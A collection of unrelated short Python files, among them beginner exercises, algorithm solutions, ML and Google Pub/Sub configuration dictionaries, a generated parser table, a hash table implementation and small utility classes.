#Naive vowel removal. removeVowels = "EQuis sapiente illo autem mollitia alias corrupti reiciendis aut. Molestiae commodi minima omnis illo officia inventore. Quisquam sint corporis eligendi corporis voluptatum eos. Natus provident doloremque reiciendis vel atque quo. Quidem" charToRemove = ['a', 'e', 'i', 'o', 'u'] print(removeVowels) for char in charToRemove: removeVowels = removeVowels.replace(char, "") removeVowels = removeVowels.replace(char.upper(), "") print(removeVowels)
# Copyright (c) 2019 CatPy # Python stdlib imports #from typing import NamedTuple, Dict # package imports #from catpy.usfos.headers import print_head_line, print_EOF def print_gravity(): """ """ UFOmod = [] #_iter = 0 #for _key, _load in sorted(load.items()): #try: #_try = 1.0 / len(_load.gravity) UFOmod.append("' \n") UFOmod.append("' \n") UFOmod.append("'{:} Gravity Load\n".format(70 * "-")) UFOmod.append("' \n") UFOmod.append("' Load Case Acc_X Acc_Y Acc_Z\n") UFOmod.append("' \n") UFOmod.append(" GRAVITY 1 0.00000E+00 0.00000E+00 -9.80665E+00") UFOmod.append("\n") #except ZeroDivisionError: # pass return UFOmod
def patching_test(value): """ A test function for patching values during step tests. By default this function returns the value it was passed. Patching this should change its behavior in step tests. """ return value
class Solution: def rotate(self, nums: List[int], k: int) -> None: """ Do not return anything, modify nums in-place instead. https://leetcode-cn.com/problems/rotate-array """ leng = len(nums); k %= leng; loop_time = current = start = 0; while True: if loop_time >= leng: break; num = nums[current]; while True: current = (current + k) % leng; temp = num; num = nums[current]; nums[current] = temp; loop_time += 1; if current == start: break; start += 1; current = start; return True;
class SwanTag: __tag = None __link = None __desc = None __parent = [] __child = [] __attrs = [] def __init__(self): pass
#map() 会根据提供的函数对指定序列做映射。第一个参数是函数,第二个参数是序列 #把序列里面的每个元素作为参数传递到函数,返回一个迭代器 def square(x): return x**2 ls = [1, 2, 3] for i in map(square, ls): print(i)
'''В заданной строке расположить в обратном порядке все слова. Разделителями слов считаются пробелы''' a = 'Bob почуствовал усталость сильную' b = a.split(' ') print(b) new_a =" ".join(b[::-1]) print(new_a)
# 8b d8 Yb dP 88""Yb db dP""b8 88 dP db dP""b8 888888 # 88b d88 YbdP 88__dP dPYb dP `" 88odP dPYb dP `" 88__ # 88YbdP88 8P 88""" dP__Yb Yb 88"Yb dP__Yb Yb "88 88"" # 88 YY 88 dP 88 dP""""Yb YboodP 88 Yb dP""""Yb YboodP 888888 VERSION = (0, 7, 3, 8) __version__ = '.'.join(map(str, VERSION))
lista = ('Lápis', 1.75, 'Borracha', 2, 'Caderno', 15.90, 'Estojo', 25, 'Transferidor', 4.20, 'Compasso', 9.99, 'Mochila', 120.32, 'Canetas', 22.30, 'Livro', 34.90) print('-' * 40) print(f'{"LISTAGEM DE PREÇOS":^40}') print('-' * 40) for pos in range(0, len(lista), 2): print(f'{lista[pos]:.<30}', f'R${lista[pos + 1]:>7.2f}') print('-' * 40)
""" Crie um programa que leia duas notas de um aluno e calcule sua média, mostrando uma mensagem no final, de acordo com a média atingida: -Média abaixo de 5.0: Reprovado; -Média entre 5.0 e 6.9: Recuperação; -Media 7.0 ou superior: Aprovado. """ n1 = float(input('Primeira nota:')) n2 = float(input('Segunda nota:')) m = (n1 + n2) / 2 if m < 5.0: print('\033[31mReprovado!\033[m') elif m >= 5.0 and m <= 6.9: print('\033[33mRecuperação\033[m') else: print('\033[32mAprovado!')
''' Created on Jan 5, 2010 @author: jtiai ''' HOME = 1 VISITOR = -1 TIE = 0 def winner(self): """Returns winner of the match or guess 1 = home, 0 = equal, -1 = visitor""" if self.home_score > self.away_score: return HOME elif self.home_score < self.away_score: return VISITOR else: return TIE
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2018/1/31 上午8:30 # @Author : wook # @File : cord.py.py """ """
""" Boxing modules. Boxes are added in formatting Mathics S-Expressions. Boxing information like width and size makes it easier for formatters to do layout without having to know the intricacies of what is inside the box. """
N = int(input()) def explosion_3(n): n_pos_B = [0 for i in range(n)] n_pos_A = [0 for i in range(n)] n_pos_C = [0 for i in range(n)] n_pos_B[0] = 1 n_pos_A[0] = 1 n_pos_C[0] = 1 for i in range(1, n): n_pos_C[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1] n_pos_B[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1] n_pos_A[i] = n_pos_C[i - 1] + n_pos_B[i - 1] return n_pos_B[-1] + n_pos_A[-1] + n_pos_C[-1] print(explosion_3(N))
class InstanceStack(object): def __init__(self, max_stack): self._max_stack = max_stack self._stack = [] def __contains__(self, name): return name in map(lambda instance: instance.get_arch_name(), self._stack) def __getitem__(self, name): for instance in self._stack: if instance.get_arch_name() == name: return instance return None def push(self, instance): self._stack.append(instance) if len(self._stack) >= self._max_stack: self._stack.pop(0)
# -*- coding: utf-8 -*- ''' File name: code\bounded_sequences\sol_319.py Author: Vaidic Joshi Date created: Oct 20, 2018 Python Version: 3.x ''' # Solution to Project Euler Problem #319 :: Bounded Sequences # # For more information see: # https://projecteuler.net/problem=319 # Problem Statement ''' Let x1, x2,..., xn be a sequence of length n such that: x1 = 2 for all 1 < i ≤ n : xi-1 < xi for all i and j with 1 ≤ i, j ≤ n : (xi) j < (xj + 1)i There are only five such sequences of length 2, namely: {2,4}, {2,5}, {2,6}, {2,7} and {2,8}. There are 293 such sequences of length 5; three examples are given below: {2,5,11,25,55}, {2,6,14,36,88}, {2,8,22,64,181}. Let t(n) denote the number of such sequences of length n. You are given that t(10) = 86195 and t(20) = 5227991891. Find t(1010) and give your answer modulo 109. ''' # Solution # Solution Approach ''' '''
# Copyright 2019 The Texar Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """VAE config. """ dataset = "ptb" num_epochs = 100 hidden_size = 256 dec_dropout_in = 0.5 dec_dropout_out = 0.5 enc_dropout_in = 0. enc_dropout_out = 0. word_keep_prob = 0.5 batch_size = 32 embed_dim = 256 latent_dims = 32 lr_decay_hparams = { "init_lr": 0.001, "threshold": 2, "decay_factor": 0.5, "max_decay": 5 } decoder_type = 'lstm' enc_cell_hparams = { "type": "LSTMCell", "kwargs": { "num_units": hidden_size, "bias": 0. }, "dropout": {"output_keep_prob": 1. - enc_dropout_out}, "num_layers": 1 } dec_cell_hparams = { "type": "LSTMCell", "kwargs": { "num_units": hidden_size, "bias": 0., }, "dropout": {"output_keep_prob": 1. - dec_dropout_out}, "num_layers": 1, } enc_emb_hparams = { 'name': 'lookup_table', "dim": embed_dim, "dropout_rate": enc_dropout_in, 'initializer': { 'type': 'normal_', 'kwargs': { 'mean': 0.0, 'std': embed_dim**-0.5, }, } } dec_emb_hparams = { 'name': 'lookup_table', "dim": embed_dim, "dropout_rate": dec_dropout_in, 'initializer': { 'type': 'normal_', 'kwargs': { 'mean': 0.0, 'std': embed_dim**-0.5, }, } } # KL annealing kl_anneal_hparams = { "warm_up": 10, "start": 0.1 } train_data_hparams = { "num_epochs": 1, "batch_size": batch_size, "seed": 123, "dataset": { "files": './simple-examples/data/ptb.train.txt', "vocab_file": './simple-examples/data/vocab.txt' } } val_data_hparams = { "num_epochs": 1, "batch_size": batch_size, "seed": 123, "dataset": { "files": './simple-examples/data/ptb.valid.txt', "vocab_file": './simple-examples/data/vocab.txt' } } test_data_hparams = { "num_epochs": 1, "batch_size": batch_size, "dataset": { "files": './simple-examples/data/ptb.test.txt', "vocab_file": './simple-examples/data/vocab.txt' } } opt_hparams = { 'optimizer': { 'type': 'Adam', 'kwargs': { 'lr': 0.001 } }, 'gradient_clip': { "type": "clip_grad_norm_", "kwargs": { "max_norm": 5, "norm_type": 2 } } }
# URI Online Judge 2756 diamond = [ ' A', ' B B', ' C C', ' D D', ' E E', ' D D', ' C C', ' B B', ' A', ] for line in diamond: print(line)
# Write and test a function threshold(vals, goal) # where vals is a sequence of numbers and goal is a positive number. # The function returns the smallest integer n such that the sum of # the first n numbers in vals is >= goal. If the goal is # unachievable, the function returns 0 def func(data, goal): n = int() pos = int() for i, v in enumerate(data): if n < goal: n +=v pos = i elif n >= goal: pos=i break if n< goal: return 0 return i dd = [1,1,2,3,4,5] gg = 10 a = func(dd, gg) print(a)
def main() -> None: # binary search n = int(input()) a = list(map(int, input().split())) def binary_search_average() -> float: def possible_more_than(average: float) -> bool: b = [x - average for x in a] dp = [[0.0, 0.0] for _ in range(n + 1)] # not-choose, choose # max sum for i in range(n): dp[i + 1][0] = dp[i][1] dp[i + 1][1] = max(dp[i]) + b[i] return max(dp[-1]) >= 0 lo, hi = 0, 1 << 30 # possible, impossible for _ in range(50): average = (lo + hi) / 2 if possible_more_than(average): lo = average else: hi = average return lo def binary_search_median() -> int: def possible_more_than(median: int) -> bool: v = 0 count = 0 prev_chosen = True for i in range(n): if a[i] >= median: v += 1 count += 1 prev_chosen = True continue if i == 0 or prev_chosen: prev_chosen = False continue v -= 1 count += 1 prev_chosen = True return v >= 1 if count & 1 else v >= 2 lo, hi = 0, 1 << 30 while hi - lo > 1: median = (lo + hi) // 2 if possible_more_than(median): lo = median else: hi = median assert lo in a return lo print(binary_search_average()) print(binary_search_median()) if __name__ == "__main__": main()
# /home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser_tables.py # This file is automatically generated. Do not edit. _tabversion = '3.2' _lr_method = 'LALR' _lr_signature = '4\xa4a\x00\xea\xcdZp5\xc6@\xa5\xfa\x1dCA' _lr_action_items = {'NONE_TOK':([8,12,24,26,],[11,11,11,11,]),'LP_TOK':([5,8,12,24,26,],[8,12,12,12,12,]),'STRING_TOK':([8,12,24,26,],[13,13,13,13,]),'RP_TOK':([8,11,12,13,14,16,17,18,19,20,22,23,26,27,28,29,],[15,-8,22,-14,-13,25,-17,-15,-16,-19,-18,-9,-10,29,-20,-21,]),',':([11,13,14,16,17,18,19,20,22,23,28,29,],[-8,-14,-13,24,-17,-15,-16,-19,-18,26,-20,-21,]),'NUMBER_TOK':([8,12,24,26,],[14,14,14,14,]),'NL_TOK':([0,6,7,15,21,25,],[3,10,-4,-6,-5,-7,]),'TRUE_TOK':([8,12,24,26,],[17,17,17,17,]),'IDENTIFIER_TOK':([0,1,3,8,10,12,24,26,],[-11,5,-12,18,5,18,18,18,]),'FALSE_TOK':([8,12,24,26,],[19,19,19,19,]),'$end':([0,1,2,3,4,6,7,9,10,15,21,25,],[-11,-2,0,-12,-1,-11,-4,-3,-12,-6,-5,-7,]),} _lr_action = { } for _k, _v in _lr_action_items.items(): for _x,_y in zip(_v[0],_v[1]): if not _x in _lr_action: _lr_action[_x] = { } _lr_action[_x][_k] = _y del _lr_action_items _lr_goto_items = {'facts_opt':([1,],[4,]),'nl_opt':([0,6,],[1,9,]),'comma_opt':([23,],[27,]),'data_list':([8,12,],[16,23,]),'file':([0,],[2,]),'facts':([1,],[6,]),'data':([8,12,24,26,],[20,20,28,28,]),'fact':([1,10,],[7,21,]),} _lr_goto = { } for _k, _v in _lr_goto_items.items(): for _x,_y in zip(_v[0],_v[1]): if not _x in _lr_goto: _lr_goto[_x] = { } _lr_goto[_x][_k] = _y del _lr_goto_items _lr_productions = [ ("S' -> file","S'",1,None,None,None), ('file -> nl_opt facts_opt','file',2,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',36), ('facts_opt -> <empty>','facts_opt',0,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',37), ('facts_opt -> facts nl_opt','facts_opt',2,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',38), ('facts -> fact','facts',1,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',39), ('facts -> facts NL_TOK fact','facts',3,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',40), ('fact -> IDENTIFIER_TOK LP_TOK RP_TOK','fact',3,'p_fact0','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',45), ('fact -> IDENTIFIER_TOK LP_TOK data_list RP_TOK','fact',4,'p_fact1','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',49), ('data -> NONE_TOK','data',1,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',53), ('comma_opt -> <empty>','comma_opt',0,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',54), ('comma_opt -> ,','comma_opt',1,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',55), ('nl_opt -> <empty>','nl_opt',0,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',56), ('nl_opt -> NL_TOK','nl_opt',1,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',57), ('data -> NUMBER_TOK','data',1,'p_number','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',62), ('data -> STRING_TOK','data',1,'p_string','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',67), ('data -> IDENTIFIER_TOK','data',1,'p_quoted_last','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',72), ('data -> FALSE_TOK','data',1,'p_false','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',77), ('data -> TRUE_TOK','data',1,'p_true','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',82), ('data -> LP_TOK RP_TOK','data',2,'p_empty_tuple','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',87), ('data_list -> data','data_list',1,'p_start_list','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',92), ('data_list -> data_list , data','data_list',3,'p_append_list','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',97), ('data -> LP_TOK data_list comma_opt RP_TOK','data',4,'p_tuple','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',103), ]
def funny_division(anumber): try: return 100 / anumber except ZeroDivisionError: return "Silly wabbit, you can't divide by zero!" print(funny_division(0)) print(funny_division(50.0)) print(funny_division("hello"))
def extractNutty(item): """ """ vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) if not (chp or vol) or 'preview' in item['title'].lower(): return None if 'A Mistaken Marriage Match' in item['tags'] and 'a generation of military counselor' in item['tags']: return buildReleaseMessageWithType(item, 'A mistaken marriage match: A generation of military counselor', vol, chp, frag=frag, postfix=postfix) if 'A Mistaken Marriage Match' in item['tags'] and 'a-generation-of-military-counselor-' in item['linkUrl']: return buildReleaseMessageWithType(item, 'A mistaken marriage match: A generation of military counselor', vol, chp, frag=frag, postfix=postfix) if 'A Mistaken Marriage Match' in item['tags'] and 'Record of Washed Grievances Chapter' in item['title']: return buildReleaseMessageWithType(item, 'A mistaken marriage match: Record of washed grievances', vol, chp, frag=frag, postfix=postfix) if 'A Mistaken Marriage Match' in item['tags'] and 'record-of-washed-grievances' in item['linkUrl']: return buildReleaseMessageWithType(item, 'A mistaken marriage match: Record of washed grievances', vol, chp, frag=frag, postfix=postfix) if 'A Mistaken Marriage Match' in item['tags'] and 'the-general-only-fears-the-maidens-escape' in item['linkUrl']: return buildReleaseMessageWithType(item, 'A mistaken marriage match: The General Only Fears the Maiden\'s Escape', vol, chp, frag=frag, postfix=postfix) if 'A Mistaken Marriage Match' in item['tags'] and '/the-general-only-fear-the-maidens-escape-chapter' in item['linkUrl']: return buildReleaseMessageWithType(item, 'A mistaken marriage match: The General Only Fears the Maiden\'s Escape', vol, chp, frag=frag, postfix=postfix) if 'A Mistaken Marriage Match' in item['tags'] and '/destined-marriage-with-fragrance-chapter-' in item['linkUrl']: return buildReleaseMessageWithType(item, 'A mistaken marriage match: Destined Marriage With Fragrance', vol, chp, frag=frag, postfix=postfix) if 'Destined Marriages With Fragrance Chapter' in item['title']: return buildReleaseMessageWithType(item, 'Destined Marriage with Fragrance', vol, chp, frag=frag, postfix=postfix) if item['tags'] == ['A Mistaken Marriage Match']: titlemap = [ ('DMSJ Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('Destined Marriage Shang Jun: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('Destined Marriage Of Shang Jun: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('DMSJ: Ch ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('DMSJ: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('Destined Marriage With Fragrance ', 'A mistaken marriage match: Destined Marriage With Fragrance', 'translated'), ('Tensei Shoujo no Rirekisho', 'Tensei Shoujo no Rirekisho', 'translated'), ('Master of Dungeon', 'Master of Dungeon', 'oel'), ] for titlecomponent, name, tl_type in titlemap: if titlecomponent.lower() in item['title'].lower(): return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type) return False
with sqlite3.connect(DATABASE) as db: db.execute(SQL_CREATE_TABLE) db.executemany(SQL_INSERT, DATA) result = list(db.execute(SQL_SELECT))
class HashTable: def __init__(self): self.size = 11 self.slots = [None] * self.size self.data = [None] * self.size def put(self, key, data): hashvalue = self.hashfunction(key, len(self.slots)) if self.slots[hashvalue] == None: self.slots[hashvalue] = key self.data[hashvalue] = data else: if self.slots[hashvalue] == key: self.data[hashvalue] = data # replace else: nextslot = self.rehash(hashvalue, len(self.slots)) while self.slots[nextslot] != None and self.slots[nextslot] != key: nextslot = self.rehash(nextslot, len(self.slots)) if self.slots[nextslot] == None: self.slots[nextslot] = key self.data[nextslot] = data else: self.data[nextslot] = data # replace def hashfunction(self, key, size): return key % size def rehash(self, oldhash, size): return (oldhash + 1) % size def get(self, key): startslot = self.hashfunction(key, len(self.slots)) data = None stop = False found = False position = startslot while self.slots[position] != None and not found and not stop: if self.slots[position] == key: found = True data = self.data[position] else: position = self.rehash(position, len(self.slots)) if position == startslot: stop = True return data def __getitem__(self, key): return self.get(key) def __setitem__(self, key, data): self.put(key, data) H = HashTable() H[11]="First?" H[54] = "books" H[54] = "data" H[26] = "algorithms" H[93] = "Hey" H[17] = "DSA" H[77] = "Rohan" H[31] = "Laptop" H[44] = "Hunting" H[55] = "King" H[20] = "Lion" print(H.slots) print(H.data) print(H[20])
src =Split(''' uData_sample.c ''') component =aos_component('uDataapp', src) dependencis =Split(''' tools/cli framework/netmgr framework/common device/sensor framework/uData ''') for i in dependencis: component.add_comp_deps(i) global_includes =Split(''' . ''') for i in global_includes: component.add_global_includes(i) includes =Split(''' ./include ../../include/aos ../../include/hal ''') for i in includes: component.add_includes(i)
"""Global parameters for the VGGish model. See vggish_slim.py for more information. """ # Architectural constants. NUM_FRAMES = 50 # Frames in input mel-spectrogram patch. NUM_BANDS = 64 # Frequency bands in input mel-spectrogram patch. EMBEDDING_SIZE = 128 # Size of embedding layer. # Hyperparameters used in feature and example generation. SAMPLE_RATE = 16000 STFT_WINDOW_LENGTH_SECONDS = 0.040 STFT_HOP_LENGTH_SECONDS = 0.020 NUM_MEL_BINS = NUM_BANDS MEL_MIN_HZ = 125 MEL_MAX_HZ = 7500 LOG_OFFSET = 0.01 # Offset used for stabilized log of input mel-spectrogram. EXAMPLE_WINDOW_SECONDS = 1.00 # Each example contains 96 10ms frames EXAMPLE_HOP_SECONDS = 1.00 # with zero overlap. # Parameters used for embedding postprocessing. PCA_EIGEN_VECTORS_NAME = 'pca_eigen_vectors' PCA_MEANS_NAME = 'pca_means' QUANTIZE_MIN_VAL = -2.0 QUANTIZE_MAX_VAL = +2.0 # Hyperparameters used in training. INIT_STDDEV = 0.01 # Standard deviation used to initialize weights. LEARNING_RATE = 1e-4 # Learning rate for the Adam optimizer. ADAM_EPSILON = 1e-8 # Epsilon for the Adam optimizer. # Names of ops, tensors, and features. INPUT_OP_NAME = 'vggish/input_features' INPUT_TENSOR_NAME = INPUT_OP_NAME + ':0' OUTPUT_OP_NAME = 'vggish/embedding' OUTPUT_TENSOR_NAME = OUTPUT_OP_NAME + ':0' AUDIO_EMBEDDING_FEATURE_NAME = 'audio_embedding'
{ 'name': 'Chapter 05, Recipe 1 code', 'summary': 'Report errors to the user', 'depends': ['base'], }
""" http://pythontutor.ru/lessons/functions/problems/negative_power/ Дано действительное положительное число a и целоe число n. Вычислите a**n. Решение оформите в виде функции power(a, n). Стандартной функцией возведения в степень пользоваться нельзя. """ def power(a, n): res = 1 for _ in range(abs(n)): res *= a if n < 0: return 1 / res return res a = float(input()) n = int(input()) print(power(a, n))
config = { "interfaces": { "google.pubsub.v1.Subscriber": { "retry_codes": { "idempotent": ["ABORTED", "UNAVAILABLE", "UNKNOWN"], "non_idempotent": ["UNAVAILABLE"], "none": [], }, "retry_params": { "default": { "initial_retry_delay_millis": 100, "retry_delay_multiplier": 1.3, "max_retry_delay_millis": 60000, "initial_rpc_timeout_millis": 60000, "rpc_timeout_multiplier": 1.0, "max_rpc_timeout_millis": 60000, "total_timeout_millis": 600000, }, "messaging": { "initial_retry_delay_millis": 100, "retry_delay_multiplier": 1.3, "max_retry_delay_millis": 60000, "initial_rpc_timeout_millis": 25000, "rpc_timeout_multiplier": 1.0, "max_rpc_timeout_millis": 25000, "total_timeout_millis": 600000, }, "streaming_messaging": { "initial_retry_delay_millis": 100, "retry_delay_multiplier": 1.3, "max_retry_delay_millis": 60000, "initial_rpc_timeout_millis": 600000, "rpc_timeout_multiplier": 1.0, "max_rpc_timeout_millis": 600000, "total_timeout_millis": 600000, }, }, "methods": { "CreateSubscription": { "timeout_millis": 60000, "retry_codes_name": "idempotent", "retry_params_name": "default", }, "GetSubscription": { "timeout_millis": 60000, "retry_codes_name": "idempotent", "retry_params_name": "default", }, "UpdateSubscription": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, "ListSubscriptions": { "timeout_millis": 60000, "retry_codes_name": "idempotent", "retry_params_name": "default", }, "DeleteSubscription": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, "ModifyAckDeadline": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, "Acknowledge": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "messaging", }, "Pull": { "timeout_millis": 60000, "retry_codes_name": "idempotent", "retry_params_name": "messaging", }, "StreamingPull": { "timeout_millis": 900000, "retry_codes_name": "none", "retry_params_name": "streaming_messaging", }, "ModifyPushConfig": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, "ListSnapshots": { "timeout_millis": 60000, "retry_codes_name": "idempotent", "retry_params_name": "default", }, "CreateSnapshot": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, "UpdateSnapshot": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, "DeleteSnapshot": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, "Seek": { "timeout_millis": 60000, "retry_codes_name": "idempotent", "retry_params_name": "default", }, "SetIamPolicy": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, "GetIamPolicy": { "timeout_millis": 60000, "retry_codes_name": "idempotent", "retry_params_name": "default", }, "TestIamPermissions": { "timeout_millis": 60000, "retry_codes_name": "non_idempotent", "retry_params_name": "default", }, }, } } }
class EntrySupport(object): mixin = 'Entry' class Reporter(object): def __init__(self, model, subject=None): if subject: subject = subject.strip(':') self.model = model self.subject = subject def __call__(self, tag, subject=None, entry=None, importance='normal', **aspects): if subject: subject = subject.strip(':') if self.subject: subject = '%s:%s' % (self.subject, subject) elif self.subject: subject = self.subject else: raise ValueError(subject) return self.model.create(subject=subject, tag=tag, entry=entry, importance=importance, aspects=aspects) @classmethod def reporter(cls, subject=None): return cls.Reporter(cls, subject)